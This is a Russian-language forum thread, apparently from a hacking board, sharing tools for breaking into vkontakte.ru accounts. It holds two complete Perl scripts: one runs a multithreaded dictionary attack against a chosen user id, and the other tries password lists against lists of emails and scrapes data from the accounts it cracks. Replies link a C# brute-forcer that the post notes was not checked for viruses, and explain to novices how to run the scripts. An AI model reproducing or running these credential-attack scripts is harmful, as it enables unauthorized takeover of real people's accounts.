Брут для [ vkontakte.ru ]

[Erlien]

PHP код:

#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt';        #словарь паролей
$id = 111111;        #id цели
$mail = 'mail%40mail.com';    #мыло, вместо @ вписать %40
$threads = 4;        #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
    "Host: vkontakte.ru\r\n".
            "Accept: */*\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Mozillo\r\n".
            "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
            "Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass  $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
    my (@mas);
    while (<pass>){
    push @mas, $_;
    last if (@mas == 400);
    }
    chomp @mas;
    return @mas;
} 


Vkontakte brute списка е-майлов на один пароль ©antichat

PHP код:

#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;

#Список email
my $ml = 'emails.txt'; 
#Сбрученные аккаунты
my $fname = 'good.txt'; 
#Несбрученные аккаунты
my $fname1 = 'bad.txt'; 
#список паролей
my $psw = 'pass.txt'; 
my $control = '-1';
my %example;
my (@data, @data1);


printf "Starting...\n";



sub submit_query {
    my ($file, %query) = @_;
    my $user_agent = LWP::UserAgent->new();
    my $cookies = HTTP::Cookies->new;
    my $cookie_jar = HTTP::Cookies->new(
    file => 'cookies.dat',
    autosave => 1, );
    $user_agent->cookie_jar($cookie_jar);
    ################### #############################################
    $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
    ######################################## ########################

    my $request = POST
    $file,
    [%query];
    
    #################################################### ############
    my $response = $user_agent->request($request);
    my $res = $response->as_string;
    ####################################### #########################    
    
    if($res =~/<div id='error'>/ )
                        {
                        print FILE1 "[!]Wrong password: ";
                        $control = '0';
        
                        }
                    else
                        {
                        
                            my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
                            my $response2 = $user_agent->request($req);
                            my $res2 = $response2->as_string;
                            
                            if($res2 =~/id="percent">(.*)%</)
                            {
                            print FILE "[rate=$1]";
                            }
                            if($res2 =~/percentGold">(.*)</)
                            {
                            print FILE "[gold_rate=$1]";
                            }
                            $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
                            $response2 = $user_agent->request($req);
                            $res2 = $response2->as_string;
                            if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
                            if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
                            
                            $control = '1';
                            
                        }
                        
            }


    open(DAT, $ml) || die("Could not open emails file!");
    @data=<DAT>;
    close(DAT);
    
    open(DAT1, $psw) || die("Could not open passwords file!");
    @data1=<DAT1>;
    close(DAT1);
    

my $time = time; 
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";

foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
        {
        chomp($password);
        %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);

        open(FILE, ">>$fname") || die("Could not open $fname\n");
        open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
        submit_query("http://vkontakte.ru/login. php", %example);
        
            if ($control == '1')    
                {
                print FILE "$mail : $password\n";
                }
            else
                {
                print FILE1 "$mail : $password\n";
                }
            
        close FILE;
        close FILE1;
        }
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n"; 


[Predator]

OO brute вконтакте))есть у кого ссылка для скачивания проги?

[Hendrix]

а чё с этим кодом надо делать? о_О


Мидитировать над ним, Почитайте тему как юзать сплоит в разделе ХИБ /Erlien

[Erlien]

Для тех кто не дружит с *пхп скриптами:

Vkontakte bruteforce ©serber



Написал программу для перебора паролей от аккаунтов Вконтакте.ру, на C#
-Полный перебор, указывается алфавит и длина пароля.
-Перебор по словарю (планируется)
-Планирую сделать перебор с эвристикой (т.е. это немного модифицированный полный
перебор, учитывается что в словах не может быть подряд 2 гласной и 3 согласных букв)
©serber

http://dl.dump.ru/file_download/1019559

На работоспособность и вирусы не проверялось !

[mean]

Hendrix,
Сохрани этот код в файл с расширением .pl ,качай себе ActivePerl и запускай.

[михон]

во спасибо а то я как увидел код так и непонел што с ним делать то надо)))

[San]

Спасибо ,мне это тоже пригодилось.

[rangel]

спасибо =)

[mean]

Не мучайтесь зря. Уже не актуально - капчу поставили.